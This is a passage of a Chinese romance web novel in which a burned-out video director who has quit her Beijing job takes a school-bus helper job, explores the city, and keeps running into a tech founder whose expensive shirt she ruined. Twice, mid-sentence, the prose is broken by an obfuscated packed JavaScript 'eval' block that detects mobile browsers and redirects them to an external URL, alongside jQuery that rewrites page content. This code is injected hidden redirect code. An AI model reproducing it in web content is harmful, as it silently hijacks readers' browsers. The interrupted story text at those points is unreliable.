年轻时的女孩儿为了爱情可以做出很多惊天动地的事。 包括去到一个并不接纳自己的城市。 来时,她努力说服自己,北京资源多,机会多,相信自己只要好好努力,假以时日一定能实现她的编导梦。 半年之后分手,姜南西的工作却正值上升期,便一直留了下来。 就这么混混沌沌的过了几年。 最初的梦想已经变成了工作的养料。 北京这座城市,就像一台驰骋前行的机器,人和人仿佛精密的齿轮,争相咬合在一起,稳定而规律地维持着机器的运转秩序。 秩序的背后,是一代又一代社会螺丝的更新燃烧,速度快到甚至没有喘息的间隙。 好像大家都默认了,日复一日的工作毫无价值也没有关系。 在强大的现实面前,年轻的勇气被挫折消解,梦想的野心在忙碌中殆尽,人或投降,或泄气,或勇进,或反抗。 到了姜南西这,卡在现实和理想的大裂谷,进退两难,除去挫败,就是索然无味。 她找不到了留在北京的理由。 “休息一下也好,就趁这段时间看看之前没空看的北京。”何星屿心疼地看着床上的人,毕竟他亲眼看见过发着烧的姜南西,在凌晨两点被领导一个电话叫起来改方案。 他知道她在这不快乐。 于是何星屿说:“这几天玉渊潭的荷花开得不错,你可以去转转。” 姜南西:“好。” “你先躺会儿,阿姨寄了两箱橙子,我给你榨个橙汁儿醒酒。” 姜南西笑着嗯了声。 橙汁榨好后,何星屿把姜南西叫到客厅,然后自己又进了厨房准备做早饭。 姜南西捧着杯子尝了一口,含着果肉的汁水在舌尖漾开,一丝丝清新的酸和恰到好处的甜,让人神清气爽。 跟何星屿是高中同班同学,毕业后毫无交集,直到某次一次合作重逢后成了朋友,阴差阳错的又一起合租。 两颗年轻而孤独的心,在冰冷的钢铁丛林中互相依靠取暖,收获了跟陈笛和何星屿的友情,大概是北京怜悯给姜南西的唯一的礼物。 就像这一杯鲜榨橙汁,是宿醉后最好的慰藉。 何星屿在厨房做饭的时候,姜南西坐在客厅餐桌刷手机。 想了想,她打开微信。 “对了橙子,你不说想调整作息吗?”何星屿边洗菜边问。 姜南西点开宁朝的头像,嘴上应着:“啊怎么了?” 刚才没细看,现在才注意到,宁朝的微信头像是一只深灰色机械小狗,小狗的脸占了大半个屏幕,圆溜溜的双眼高冷地盯着镜头。 微信名是一串乱码英文字母,gdbcy。 何星屿说:“我前段时间给幼儿园拍宣传片,听他们说起咱们附近这片小区的孩子有点多。要找个人专门每天早上7点送孩子上校车,你要是起得来,我跟那园长说一声。” 他们在望京这边租的房子,因靠着商区和地铁站,小区人口密集大,理所当然的孩子也就多,有时候姜南西加完班回来,都还能听见家长教孩子写作业发飙的声音。 “行啊。”姜南西答应下来,她是真想调整作息。 然后她点进宁朝的朋友圈,朋友圈背景是一处丁字路口,昏黄的路灯静谧地照拂着夜晚街道,姜南西第一眼感觉这段路有点眼熟,但一时没想起来。 底下只更新了一条动态,还是一个多星期以前的,某人工智能公司受政府表彰的新闻链接,链接里还有张公司负责人宁朝接受表彰的照片。 除此之外,寡淡一片。 原来是创业公司的老板。 姜南西抿下嘴唇,看不出来还挺低调的。 何星屿走出厨房时,姜南西问:“何星屿,我把他衣服弄脏的事儿你知道吗?” “正要跟你说这事儿呢。”何星屿将煮好的面条放在餐桌,“那衣服,干洗店可能处理不了了,你给人赔了吧。” “什么意思?”姜南西眼睛微睁,一脸焦急地追问:“很脏吗?” 何星屿语态轻巧随意:“脏倒没多脏。” 姜南西放了放心。 下一秒,何星屿微笑着无情宣布:“但那是Prada的最新款,八千八百块。” ...... 姜南西的手机“啪”地摔到地上。 4. 冰美式 暂时不想面对这个残忍的事实,姜南西吃完面又闷头睡了一觉。 醒来时是下午一点,何星屿已经出门上班。 她坐在床上醒了会困,一时不知道要干什么,午后的空气黏糊又干燥,压在寂静无声的房间里,让人徒生一种无法摆脱的荒凉感。 于是姜南西爬起来收拾房间,整理好四处摆放的书籍,将乱扔的化妆品归于原位,拖了拖地,然后将昨天穿过的衣服扔进洗衣机。 盖上洗衣机盖子的时候,姜南西不愿面对的事实再次涌上心头。 她仰天哀嚎一声,对自己昨晚做的事情感到无比后悔。 回到房间,她拿起手机,点开和宁朝的微信对话框,认命地在键盘上敲字,打了删删了打,到底发了两条信息过去。 姜橙子:【我听我朋友说了,你那个衣服挺贵的,可能也没法儿干洗了。】 姜橙子:【你把购买记录截图发我吧,多少钱我转你。】 因为从小被教育的责任心,姜南西会为了自己的错误承担后果,但毕竟这不是一笔小数目,最好还是有个实质性的凭证。 玩着手机等了十分钟,对面一直没回复,姜南西便不再继续等,而是起身收拾衣柜。 她把秋冬的衣服全部找出来打包好,打算明天约个快递都寄回重庆老家。 做完这一切,晾好洗净的衣服,时间才刚过四点,姜南西环视一圈周围,从客厅走到厨房,又从厨房走回阳台,眺望远处的蓝天白云。 等到第四只小鸟飞过天际,姜南西终于觉得时间有些难熬。 一直在家里这么待下去也不是个办法。 或许何星屿说得没错,她应该趁这个时间好好看看之前没空看的北京。 虽然这几年变成了纠结型人格,但在某些特定时刻,下定了决心的姜南西,还会显现出几分年少时风风火火的影子。 她随便找了套休闲白T牛仔裤穿上,也没化妆,背上相机,挎着个帆布包就出门了。 北京城太大,有朋友戏称是分为东南西北四大象限,如非必要请勿穿越结界,所以这个时间点出门,姜南西只能去离家最近的798艺术区。 前苏联援建的工业园区,随着时代发展退出历史舞台,从2002年开始,这里涌入大批艺术家和艺术机构,自此,逐渐形成了一个集画廊、艺术工作室、时尚店铺和餐饮酒吧等各类文化机构的艺术群落。 这片被誉为北京最具工业传奇、艺术气息、城市活力和国际影响的区域,随处可见的红色砖墙和上世纪工业建筑,高耸的烟囱矗立在草坪上,镌刻着这片土地上曾经热火朝天的工业文明。 从2号门进去,姜南西边走边看,一路从红石广场逛到了798cube美术馆,灰色混凝土的墙面外,光影分明,两个漂亮的小姑娘正兴致勃勃地在拍照打卡。 近期在美术馆里展出的,是一位韩国艺术家的作品,通过两极椭圆的概念,将生与死、自然与人工,善与恶视为统一而非对立的两极,引发观众对生命、宇宙和存在的思考。 不仅这里,整片798都会不定期举办各种艺术展览和时装秀,吸引着来自全国各地的艺术爱好者参观交流。 但姜南西对这些不太感兴趣。 尤其之前公司把年会定在园区另一头的UCCA尤伦斯当代艺术中心,正赶上毕加索作品大展,她领导余向光满嘴爹味地讲了半小时自己对现实主义的理解。 姜南西忍住了没给他一发霰.弹主义。 园区里有一处空中钢铁走廊,站在上面能俯瞰大半个园区,夏天的树木枝叶繁茂,阳光的影子在地上灵动游弋。 透过树网,可以看见道路两边的涂鸦墙和买手店,复古的工业风和新潮的时尚交织相印,视线尽头,751老炉区的钢铁管道的硬核线条,给人带来十足的视觉冲击。 拍了几张照片后,姜南西从走廊上下来,顺着游览的人群往前走。 前面不远处有家名为ACECAFE的咖啡店,露天餐桌别有风味,姜南西打算过去坐一会儿。 她要了杯冰美式。 确实之前因为被人泼过一整杯的冰美式,导致姜南西很长一段时间听见这仨字儿就应激,但现在不一样。 她自由了。 人在心情好的时候会生出多余的宽容。 哪怕冰美式再苦,在她当前的幸福指数面前都微不足道,难得能看见白天的北京,姜南西眯起眼,看向瓦蓝的天空和软绵绵的白云,忍不住发出了离职当天走出公司大楼时同样的感叹—— 妈的阳光真好啊! “叮”的一声,手机弹出微信。 姜南西点开一看,双手微不可察地抖了下,债主回信了。 宁朝:【衣服送去干洗了,还不知道什么情况。】 这么说来应该还有回旋的余地。 对方没有趁机狮子大开口,姜南西破财免灾的心态里出现了一丝丝的侥幸,并手动给宁朝贴上了一个“正人君子”的标签。 但她还是转了一笔钱过去,备注是“干洗费”。 想了想她又补了条:【还有卸妆水的钱,谢谢。】 这条宁朝没回。 虽然没有确切答复,但姜南西心里那块石头稍稍落地,她嘬了口咖啡,悠然看向络绎不绝的游人。 旁边就是火车头广场,而再往前走个几百米,还有个网红巨幅壁画,都是拍照出片的好去处,所以这里随处可见的个性潮人,十几个街拍蹲在路边等待捕捉精彩瞬间。 坐了会儿,咖啡店前面的广场突然涌入成群的机车。 摩托车的巨大轰鸣如雷鸣般响彻云霄,刺激的摇滚乐呼啸而过,迅速点燃周遭空气,路人投来目光的同时,街拍的镜头也掉转这头,想要拍下车手们酷帅的画面。 姜南西一半震惊一半疑惑地抬起头,咖啡店招牌的正上方,赫然四个大字——车谷小镇。 她后知后觉地反应过来,原来这是北京摩托车友的聚集地之一,机车爱好者们在此交流聚会,有时候还会举办机车改装大赛或者表演赛,可以近距离观赏车手们的精彩表演。 今天他们玩的游戏历史由来已久,叫RecordRacing。 玩法很简单,在咖啡店的点唱机里丢枚硬币,随机点一首摇滚乐,然后车手们同时出发,在798内绕着指定路线行驶一圈并返回车谷小镇,速度最慢的骑手请客喝咖啡。 本来姜南西不适应这种人多吵闹的环境,但他们点的歌曲是Clodplay的《HymnForTheWeekend》。 姜南西很喜欢这首歌,打算听完再走。 音乐响起,车手们齐齐出发。 生动的音符和富有节奏的鼓点敲在心头,让人仿佛置身于一个充满爱与幻想的美好世界,姜南西尽情享受着音乐带来的欢愉。 音乐快要到尾声时,一位身穿全套骑行服的大哥走过来,想让她帮忙给自己和兄弟拍几张合影。 姜南西欣然同意,接过对方的手机走到太阳下。 作为一个合格的编导,要求对镜头语言有足够的掌控力,即使最基础的构图,也能表达它应有的美感,更遑论统筹过无数宣传片拍摄的姜南西。 大哥对拍出来的照片非常满意,连着说了好几声谢谢,然后请求姜南西又帮他拍了几张不同造型的单人照。 为了表达感谢,大哥特地加了姜南西的微信,送了她好几张ACECAFE的饮品券。 姜南西回到餐桌,准备拿上东西离开,她收拾相机时,余光瞥见微信有新消息提醒。 宁朝:【太多了。】 转不转账是一回事,他收不收又是另一回事。 而至于数字,姜南西是按市面干洗价格的三倍给的,转的时候是图心安,至于是多是少,想着等有结果的话,对方应该会再联系她。 所以姜南西没再回复,收起手机步行回家。 . 第二天一早,姜南西正式成为某幼儿园一名光荣的校车照管员。 她的任务很简单,就是每天早上6点半之前到达小区D门,等着急上班的家长把孩子们送过来,引导孩子们在指定位置排好队,7点校车一到,帮着老师一起照顾孩子们安全上车。 因为只需要早上来,所以工资不高,只有六百块。 姜南西无所谓,她本来就是为了调整作息,而且正好早起,还能顺带戒掉不吃早餐的坏习惯。 6点15,姜南西走出小区大门,去旁边三百米的福香斋买早餐。 这家号称望京最牛的早餐店,传统老北京风味,价格实惠且分量实诚,尤其他家的羊杂汤和糖油饼最是出名,是别处做不出来的滋味。 不少在附近上班的打工人,会专门绕路来到这边,吃上一顿热乎的早饭,就此开启忙碌的一天。 还不到七点,福香斋门口陆续就有人在排队,好在大家动作都很麻利,很快排到姜南西,她花七块五买了三个糖油饼。 为了纪念重新吃早餐,她还举起糖油饼,对着福香斋的招牌拍了张照片。 拎着早餐赶回D门时,已经陆续有家长将孩子送过来。 昨晚园方看过她的身份信息和体检报告后,便将她拉进了对应的校车群,家长们也都知道这是新来的照管员,都笑着和她打招呼:“小姜老师早上好。” 小朋友奶声奶气:“小姜老师早上好!” 姜南西弯起漂亮的眼眸,笑意盈盈道:“小朋友们早上好。” 等孩子们都到的差不多了,姜南西仔细数了两遍,和园方说的一样,有零有整的二十个。 二十个孩子凑到一块儿之后,开始叽叽喳喳吵作一团,热火朝天地彼此分享着动画片玩具和零食,路边树杈里,两只小鸟不堪其扰振翅远走高飞。 看着这群祖国的喇叭花们,姜南西不禁在心里想,一共二十个孩子,一个月勉强算二十天,六百块钱,这么算下来,等于送一个孩子赚一块五。 于是当小朋友们挨个爬上校车时,她在心中默数:“一块五,三块,四块五......” 数到七块五时,一个圆润白胖的小男孩出现在姜南西的面前,比起其他活泼好动的小朋友,这个孩子则是满脸严肃,眉头紧皱,像是个成熟的小大人。 姜南西扶着门准备将他送上校车,但他没直接上去,而是转过来,用低沉的嗓音对姜南西说:“老师,我的肚子在打雷。” 缺少小朋友语言系统理解能力的姜南西:“啊?” 她眼带迷惘地看向车里的老师,正要开口问什么意思时,眼前的小胖墩突然一把抱住姜南西的大腿,“哇”的一声声泪俱下:“老师!我好饿啊!我想吃饭!我太想吃饭了!” 霎时间,姜南西手足无措地僵在了原地。 在园区老师的同意下,姜南西将三个糖油饼原封不动的给了小胖墩。 小胖墩最后优雅地抹了把眼泪,又恢复了小大人的模样,吸溜着鼻子说:“我会报答你的。” 天真的孩童最是可爱,姜南西没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765254|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏了捏他肉乎乎的脸蛋,开玩笑说:“你太小了,让你家大人来吧。” 校车开走时,小朋友七嘴八舌跟她说再见。 姜南西笑着挥了挥手:“小朋友们再见。” 回到家,姜南西越想越可乐。 她点开朋友圈,选择早上拍的那张早餐,加上一张校车照片,配文——失业人员再就业,先搭进去七块五。 屏蔽以往的领导同事合作方,点击发表。 宁朝在下午两点钟看见这条朋友圈。 他从早上九点来一直开会到现在,忙得连口水都没顾得上喝,好在新品上市后反响不错,接下来他能稍微喘口气。 宁朝点开姜南西发的那张照片,看见“福香斋早餐”几个字时,眸光开始变得微妙。 之前有段时间老爷子跟他住在东湖湾,因为住不惯每天睡不着觉,一大早就起床出门遛弯,每次回来都会带这家的早餐,前两天还在跟宁朝念叨来着。 可能是有人询问,姜南西在底下评论了一句:统一回复,做校车照管员,碰见一个小朋友饿到哭,把早餐送给他了。 宁朝觉得这姑娘挺有意思,好像无论什么时候,无论做什么事都非常有责任心,一定要尽心尽责,宁愿自己吃亏也不亏待别人,就好比昨天转过来的那笔干洗费。 用老爷子的话说,够仁义。 想到那比干洗费,宁朝记起她还没回复。 可他正要点开姜南西的头像时,眼神突然微微一滞。 ——因为他在另一位好友的朋友圈里,看见了姜南西的身影。 两人是很久以前加的好友,除了最开始沟通一些摩托车相关的事情,平时并无交流,对方喜欢参加这种摩友聚会,会晒出许多自己的照片,宁朝通常都会是随手划过。 而现在,宁朝却在他发的九宫格中,一眼看见了最后一张里的姜南西。 是在不远处拍的照片。 ACECAFE的玻璃窗上,映着绚烂的落日余晖,姜南西正低着头收拾东西,轻风撩起柔顺的长发,露出她白净清丽的侧脸,一身简单的短袖牛仔,带着几分青春活力,哪怕素面朝天也已足够惊艳。 那人配文说:偶遇一个人美心善的妹子,拍照技术巨牛! 姜南西也是刷到朋友圈时才知道自己被偷拍,被这么夸赞她不知该作何回应,所以只出于礼貌点了个赞。 助理方续拿着东西进来时,看见宁朝正若有所思盯着手机,不知道在想什么。 方续将外卖放到他手边,然后从另一个袋子里翻出干洗后的黑色T恤:“老大,衣服洗完了,跟之前没什么两样,不过你这不刚买没多久吗,怎么弄成这样?” 宁朝没解释,而是问:“干洗费多少钱?” 方续说了个数。 等人走后,办公室里就剩宁朝一人。 他看一眼那件黑色T恤,又看一眼别人拍的姜南西,如此几个来回,宁朝不假思索地点开姜南西的对话框,退回转账。 姜南西正用平板重刷童年经典《美少女战士》。 屏幕里,金发蓝眼的美奈子动情地说:“人类为了自己喜欢的东西用尽全力。” 姜南西丧气地想,可是不是用尽全力就有回应,人生更多的是事与愿违。 手机一响,她扫了眼。 离职后她退掉所有工作群,界面清净不少,除了给自己的置顶,宁朝的头像自然而然地排在下方第一个。 姜橙子回了个疑惑的问号。 隔两秒,宁朝发过来:【用不到了,衣服废了。】 姜南西登时变得紧张,刚吃完饭晕碳的瞌睡都被吓不见了。 她拿掉平板,坐起来给人回复:【实在不好意思啊。】 姜橙子:【你把购买记录给我,我赔你。】 可是宁朝却说:【不用了。】 这让姜南西有些如坐针毡,可能对宁朝来说,八千八百块没多少钱,但毕竟是她有错在先,就这么翻篇的话,她良心不安。 思考几秒之后,她发过去一句话。 姜橙子:【要不今晚我请你吃个饭吧,当面跟你道个歉。】 其实发完这句,姜南西自己也说不清那一瞬间的感觉,道歉赔偿是真,而至于有没有别的,在她想明白之前,手指已经快于大脑,将微信发了出去。 这头,正在斟字酌句的宁朝,看到这句,打字的手指骤然停住。 他似笑非笑地勾下唇角。 宁朝:【姜南西,我不接受一夜情。】 姜南西的脸腾的一下烧了起来,恨不得挖个地洞钻进去。 喝酒让人快乐,但如果醉酒会让她失去面子里子鞋底子,她愿意这辈子行善积德再也不碰酒精。 还没等她想好怎么回,宁朝的下一条微信又蹦了出来。 【不过你考虑和我发展一段长期的契约关系吗?】 迟迟没有得到姜南西的回复,宁朝拿起手机,看向聊天记录的最后一句,本意是想开个玩笑打开话茬,但结合上一句看起来,确实是有那么点儿歧义。 也是真的有点装。 他自嘲地摸了摸鼻子,然后端端正正坐到办公桌前,双手捧着手机,极其认真又严谨地重新组织了一段语言。 点击发送。 毫无预兆的,他收到了一个鲜红的感叹号。 草......玩儿脱了。 ...... 十分钟前,姜南西给好友陈笛发微信语音:“卧槽姐妹,我遇到个变态!” 5. 老北京酸奶 姜南西认认真真送了一星期的孩子。 她逐渐变得熟练,并且开始享受孩子们奶声奶气地喊她:“小姜老师。” 另外姜南西发现一件很神奇的事。 她还是按照自己的方法来给孩子们计数,每个算一块五,而每当她数到七块五时,那个小胖墩就会出现在自己面前。 他依然板着张脸,站在姜南西和校车的中间,指着已经坐了大半的幼儿园校车,语气冷酷而哀怨:“老师,这辆车它吃得比我还饱。” 跟何星屿说起这事儿时,因为不知道小胖墩的名字,姜南西干脆直接叫他七块五:“原来七块五是因为体重远超同龄的小朋友,所以家长才要严格控制他饮食的。” 何星屿听完之后哈哈大笑:“他体重的事儿你看外表看不出来吗?” 姜南西想了下七块五跟她说话的模样,学着他的语气:“我只能看到一个冷漠的小胖子。” 可姜南西却并没有因此恢复正常作息。 每天早晨七点钟送完孩子之后,她会再回家大睡一觉,睡到自然醒,起来随便点个外卖,然后随机选择一个北京旅游景点闲逛到黄昏。 这一周,她将自己完全静置在流动的时间,坐107路公交车,听鼓楼浑厚的暮鼓,看网上说的地坛的那片海,吃中山公园里独有的冬菜包子,在天坛的林荫小道喂小松鼠。 北京一年四季都是旅游旺季,处处人山人海,随处可见高举的导游小旗子,像是人潮海面上浮动的一个个鱼漂。 但这段时间,即使身处人群,姜南西也感受到前所未有的轻松和自在。 天气晴朗,空气清透的像一块崭新的玻璃,她拿着一瓶刚排队买来的老北京酸奶,穿梭在来往的人群中,不必担心老板突然催命的电话,也不用为了善变的需求而焦虑,只需要为刚填饱的肚子感到踏实和满足,吃想吃的东西,花钱买喜欢的小玩意,或者晒着太阳发一下午的呆,都很快乐。 为此她又一次感谢何星屿的建议。 过去总是忙着赶路,都没有停下过脚步好好看看北京。 这种感觉让姜南西仿佛回到了小时候。 在很小的时候,她就喜欢观察生活中的细节,一朵天上的白云,一只河里捕鱼的鸭子,甚至是路边一棵再平常不过的小草。 长大后,学习了专业的知识,拥有了超高级的镜头,可以更仔细深刻地观察这个世界,万物在镜头中变得清晰,却反倒是少了那种感觉。 具体什么感觉,姜南西没法儿用语言去形容。 但现在她不想想的太透彻。 慢下来的时间变得和手中的酸奶一样黏稠,将她紧紧吸附在眼前。 清爽的风和温和的阳光同时打在身上,幸福在此刻忽而变成一件件具象化的小事。 而唯一的不足,就是晚上的失眠。 姜南西在床上翻来覆去半宿,换了无数个睡姿,不管怎么躺都觉得难受。 在数丢不知道多少只绵羊之后,姜南西在黑暗中睁开眼,她深呼一口气,试图抚平内心的烦躁。 她拿起手机,上面显示已经凌晨十一点半。 好巧不巧,这正是她以往刚出公司的时间。 还算早的那种。 姜南西扔掉手机打算再试一次,而这次只坚持到第十秒,她放弃挣扎从床上坐起来。 一连串的动作,开灯,换衣穿鞋,拿上新买的pocket3,不到五分钟,姜南西出了门。 望京的深夜,各大企业变得悄无声息,不远处的SOHO大楼灯光逐一熄灯,褪去白日的繁华和喧嚣,街道显得寂静而空旷。 姜南西骑着电动车,平缓地行驶在空荡的深夜里,路上没人也没车,但遇到红灯时,她还是停在安全线内,等到红灯变绿才慢慢通过。 电动车是之前为了方便上下班买的,就是没想到不上班了还有用武之地。 也没想到还会在这个点重游秘密基地。 最迷茫的那段时间,姜南西整天浑浑噩噩像个行尸走肉,她机械地骑着电动车下班,车子往前跑,脑子里却一团浆糊,等注意到逆行的外卖小哥时,只来得及右转进旁边的望京东路。 没成想,就此意外地发现了一处世外桃源。 望京东路,两边都是高大挺拔的树木,浓郁的夜色让这里更显深邃。 凌晨车辆稀少,行人寥寥无几,一眼望去道路平坦干净,夏夜的风轻轻吹在脸颊,带来自然清新的气息。 在这静谧的一瞬间,无论什么情绪都能被短暂放空。 姜南西在这里消化了很多个烦恼的时刻。 因为没有人,她可以肆无忌惮地在这里给好友陈笛发语音,痛骂无良老板和变态甲方,并不需要对方的回复和安慰,只要抒发完心中的不快,就可以宣告一天完美结束。 将这里作为情绪的缓冲带,就不用把负能量带回家。 家是温暖的地方,是快乐和欢笑的温床,而不必成为承载痛苦的容器。 姜南西停好车,摘掉头盔挂到车把上,她静静坐着,用皮肤感受风的流向。 第一次这么认真地观察头顶的大树。 万籁俱寂,无人的角落,路灯会变成树的心脏。 树叶像被赋予了新的生命力,在昏黄的灯光中肆意跳动徜徉,微风拂过,泛起夜晚的凉意,树叶变得愈加清澈,透亮,甚至远胜白天阳光下的璀璨。 无论昼夜更迭,树叶都能自由发光,因为这本就是树叶与生俱来的美丽。 带着倔强和坚韧的美丽。 而此刻,地上的光也有了具体的形状。 路灯的光被树叶分散开来,但又被树影以一种顽强的方式紧紧相连,碎光和斑影交织,一直铺到看不见的道路尽头。 路灯撒下来的光辉里,像是充满了鼓励和认可,化作无数温暖紧紧包裹在姜南西的全身。 仿佛在跟她说,往前走吧,会一直有路的。 职业习惯,姜南西觉得这是一段很唯美的空镜。 她从电动车上下来,走过去蹲在地上,拿出云台相机记录下这浪漫而美好的画面。 一旦开始拍摄,无论工作还是兴趣,姜南西都会变得十分投入,她不断调试相机角度,试图拍到最好看的镜头。 拍了有几条之后,姜南西保持蹲在地上的姿势,低头回看拍摄成果,专注到屏蔽外界所有的声音。 还是不太满意,要再重拍一条。 正当她全神贯注时,身后蓦地传来一道男声,带着懒洋洋的腔调。 “抓知了猴呢姜橙子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765255|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜南西被这一声吓了一跳,她拿着相机转身,眼神惊慌地看向说话的人。 视线正前方,宁朝靠在一辆威风凌凌的摩托车,刚戴过头盔的头发有点儿乱,被晚风一吹,几根发丝不羁地垂在他硬朗的眉骨,给他干净的气质添了几分难以言喻的野性。 还是简单的短袖长裤,可穿他身上就是帅气又好看。 天生的衣服架子。 宁朝抱臂站在那,嘴角挂着一抹意味不明的笑,正好整以暇地望着她。 姜南西愣了两秒才开口:“你怎么在这儿?”她边说边收起pocket3。 “才加完班,出来遛会儿车。”宁朝说完,下巴微微冲她一昂,“你这么晚一个人跑出来干嘛?” “睡不着,出来走走。”说这话时,姜南西有意无意躲避宁朝的目光。 她没忘自己把他拉黑的事儿。 其实后来几天,姜南西又琢磨了下,对于这种二话不说把人拉黑的行为,她有过一秒钟的自我谴责。 倒不是替对方开脱什么,而是觉得,至少该把钱赔了再拉黑,不然就会造成眼下这种和债主狭路相逢的窘况。 这事儿算她理亏。 她不希望宁朝想起这事儿,便转而聊起别的:“老板也要亲自加班啊?” “我不想我的员工在背后骂我是周扒皮。”宁朝短促地笑了下,接着他反问:“怎么,你以前的老板不跟你们一起加班?” 一说到这个,姜南西就愤慨不已,她咬牙:“天下的老板都是没良心的!” 宁朝单刀直入:“所以你把他也拉黑了?” 姜南西:“............” 好,单眼皮的男生不好惹。 姜南西发现这人是个直球选手,偏偏除了工作,她非常不善于应对直球。 她尴尬地笑了下,没话找话地扯开话题:“那个不好意思啊......我明天还有点事儿,得早起,就先走了......” 宁朝憋住了才没笑出来。 这姑娘是真胆小,但也是真有意思。 他问:“之前酒吧门口不挺有种的吗?” “......”被拆穿的姜南西无奈抿下嘴唇,索性破罐子破摔道:“酒壮怂人胆没听说过吗?” 话落,没听见回答,取而代之的是一阵手机铃声,宁朝的。 还在加班的同事说机器人在运行中突发故障,一时找不到问题所在,而由于这款产品一直由宁朝负责,无奈之下才给他打了电话。 宁朝大脑快速运转,很快锁定两个最可能出错的代码区,远程指导对方逐一进行测试。 整个过程中,他语气平静如水,每个表情都透着专业和冷静,最后还不忘提醒对方早点下班。 但他的目光却一瞬不瞬地盯着前方。 姜南西小心翼翼地戴好头盔,小心翼翼地坐到电动车上,小心翼翼地踢起脚撑,小心翼翼地没有发出任何声音,想要小心翼翼地离开这个是非之地。 “姜南西。” 无情的恶魔以她之名摧毁了她的小心翼翼。 姜南西宛如一只被命运揪住后颈无法挣扎的猫,她慢慢转过头:“啊?” 夏夜里,树下的宁朝眉目清隽:“你还欠我顿饭呢。” 6. 韩式葡萄汁 色令智昏。 这是姜南西坐到韩餐店凳子上时的第一反应。 地方是宁朝选的,望京这片有名的韩餐店,喇喇排骨火锅。 火锅店没有开在旁边的韩国美食城,而是藏匿在一处小区二楼,但酒香不怕巷子深,已经凌晨一点,店里仍然人声鼎沸,他们赶到时,只剩桌椅区角落的一张小桌。 这桌的点餐码白天刚坏,店里生意太忙还没顾得上换,服务员给了他们一张纸和一支笔,接着便转身招呼其他客人去了。 本着做东的礼仪,姜南西主动担起写字的任务,她问宁朝:“想吃什么?” 宁朝随口道:“土豆排骨,泡菜饼,芝士年糕,再来个炒饭。” “之前来过?”姜南西低着头边写字边问,这不看菜单就能精准点出招牌的样子,看起来像是熟客。 好一阵没听见对方的回答,姜南西奇怪地抬头瞅他一眼,感受到探究的眼神,宁朝这才有些不自然地说:“在网上刷到过。” 宁朝点的菜完全够两人吃,也都正好符合姜南西的口味,她便没再要别的,只加了两罐韩式葡萄汁,她问宁朝:“要不要加冰。” 宁朝说:“随你。” 姜南西最后特别标注了都要加冰。 姜南西隔空将点菜单交给服务员,宁朝眼角余光瞥见上面的字,那晚酒吧的纸巾突然从记忆中浮现,两张不同纸张上的字迹恍然重叠在一起。 他不由得看了一眼对面的人,姜南西正埋头在手机屏幕上打字,不知道在给谁发消息。 为了证实心中所想,他倒了杯水给姜南西,不经意地聊起:“你在附近上班?” “嗯,之前是。”姜南西收起手机,随即她轻笑了下,“但现在辞职不干了。” 宁朝语调平平:“工作不开心?” “差不多吧。”没想到他能猜到原因,姜南西诧异又客套地笑了下。 店里冷气开得很足,空气里洋溢着脊骨汤和泡菜的味道,姜南西吸吸鼻子,话里透着一股摸爬滚打后的疲惫:“而且说句话你别介意,我也不喜欢北京。”可能北京也不喜欢她。 “理解。”宁朝点下头,端起茶杯喝了口水。 北京嘛,资源多,机会多,信息发达,只要瞅准时机,或许一夜之间就能出人头地。 但同样的,工作压力大,物价飞天,高居不下的房价宛如难以逾越的天堑,不是所有人都能一夜暴富,更多怀揣梦想的人,最终只能被无情的现实洪流冲进遗憾的鸿沟。 点的菜一一被端上桌,食物诱人的香气霎时扑鼻而来。 姜南西满足地缩下肩膀,表情中完全看不出刚才说话时的低迷和失落,她微微向前探身,热情地向宁朝介绍:“这个排骨一定要先吃土豆,不然到最后全都炖烂了,就不好炒饭了。” 宁朝递了双筷子给她:“你常来?” “本来这是我的宝藏饭馆,就是最近一年太忙没怎么来。”姜南西夹起一块土豆放进嘴里,口感一如从前的绵密软糯,香得她忍不住眯起眼睛,竖起一个大拇指道:“还是那个味儿。” 宁朝跟着尝了一口,眼角瞥见姜南西开心自在的样子,兀自笑了下。 姜南西没注意到这笑容,而是全然沉浸在久违的美食中,一块土豆一块排骨,鲜美得她眉毛都舒展开来。 但也没忘记正事儿。 吃差不多,服务员过来用剩下的汤底炒饭,米饭下锅前,他按管理询问两人有没有忌口,姜南西拒绝了鸡蛋,她过敏,宁朝说都可以。 服务员炒完饭离开之后,姜南西出声问宁朝:“你衣服多少钱,我赔你。” 宁朝脸上看不出什么表情:“你不是请我吃饭了?” 这话给姜南西听乐了:“你那一件衣服都够吃多少顿这样的饭了。” 吸管搅动着杯子里的葡萄汁,冰块撞击杯壁发出清脆的叮咛声,姜南西好心提醒:“而且三个月后我就不在北京了,到时候你再想找我赔,可能就没机会了啊。” 听到这话,宁朝深黑的瞳孔闪过一抹异样,好半晌才缓缓问道:“你要离开北京?” 姜南西理所当然地耸下肩膀:“说了不喜欢北京嘛。” 那晚的纸巾上写了要告别北京,所以这也算宁朝意料之中的答案。 他拿过那罐葡萄汁,骨节分明的手指摁住易拉罐,食指微曲扣进拉环,“啪”一声拉开,葡萄汁倒进加了冰块的玻璃杯,杯身细密的水雾迅速凝成水珠,淌进宁朝的指缝里。 姜南西抽了张纸巾给他。 一点点擦掉手上的水渍,宁朝慢条斯理地开口:“是要赔偿,不过只要你帮我一个忙。” 姜南西咬着吸管,疑惑地歪下脑袋,亮晶晶的眼睛示意他继续。 “我那条微信的意思是......” 